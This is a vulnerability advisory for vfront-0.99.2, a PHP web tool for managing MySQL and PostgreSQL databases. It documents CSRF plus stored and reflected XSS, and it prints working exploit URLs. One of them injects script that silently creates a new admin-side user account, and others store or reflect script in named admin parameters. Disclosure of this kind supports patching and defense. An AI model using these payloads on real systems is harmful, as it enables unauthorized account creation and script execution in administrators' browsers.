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vfront-0.99.2 CSRF & Persistent XSS



[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-VFRONT0602.txt



Vendor:
==============
www.vfront.org



Product:
===================================================================================
vfront-0.99.2 is a PHP web based MySQL & PostgreSQL database management application.



Advisory Information:
====================================
CSRF, Persistent XSS & reflected XSS



Vulnerability Detail(s):
=======================


CSRF:
=========
No CSRF token in place, therefore we can add arbitrary users to the system.


Persistent XSS:
================
variabili.php has multiple XSS vectors using POST method, one input field 'altezza_iframe_tabella_gid' will store XSS payload
into the MySQL database which will be run each time variabili.php is accessed from victims browser.


Persisted XSS stored in MySQL DB:
=================================
DB-----> vfront_vfront
TABLE-----> variabili
COLUMN------> valore (will contain our XSS)


Exploit code(s):
===============


CSRF code add arbitrary users to system:
=======================================
http://localhost/vfront-0.99.2/vfront-0.99.2/admin/log.php?op="/><script>var xhr%3dnew XMLHttpRequest();xhr.onreadystatechange%3dfunction(){if(xhr.status%3d%3d200){if(xhr.readyState%3d%3d4){alert(xhr.responseText);}}};xhr.open('POST','utenze.db.php?insert_new',true);xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');xhr.send('nome%3dhyp3rlinxe%26cognome%3dapparitionsec%26email%3dx@xxxxx%26passwd%3dhacked%26passwd1%3dhacked');</script>&tabella=&uid=&data_dal=All&data_al=All



Persistent XSS:
================
http://localhost/vfront-0.99.2/vfront-0.99.2/admin/variabili.php?feed=0&gidfocus=0
Inject XSS into 'the altezza_iframe_tabella_gid' input field to store in database.
"/><script>alert(666)</script>



Reflected XSS(s):
=================
http://localhost/vfront-0.99.2/vfront-0.99.2/admin/query_editor.php?id=&id_table=&id_campo="/><script>alert(666)</script>



XSS vulnerable input fields:
============================
http://localhost/vfront-0.99.2/vfront-0.99.2/admin/variabili.php
altezza_iframe_tabella_gid   <------------- ( Persistent XSS )
passo_avanzamento_veloce_gid
n_record_tabella_gid
search_limit_results_gid
max_tempo_edit_gid
home_redirect_gid
formati_attach_gid
default_group_ext_gid
cron_days_min_gid

  

Disclosure Timeline:
===================================


Vendor Notification: May 31, 2015
June 2, 2015 : Public Disclosure



Severity Level:
===================================
High



Description:
==========================================================

Request Method(s):
                                [+]  GET & POST

Vulnerable Product:
                                [+]  vfront-0.99.2

Vulnerable Parameter(s):
                                [+] altezza_iframe_tabella_gid
				    passo_avanzamento_veloce_gid
				    n_record_tabella_gid
				    search_limit_results_gid
				    max_tempo_edit_gid
				    home_redirect_gid
				    formati_attach_gid
				    default_group_ext_gid
				    cron_days_min_gid
				    id_campo
				    op
				   


Affected Area(s):               [+]  Admin & MySQL DB

===============================================================


(hyp3rlinx)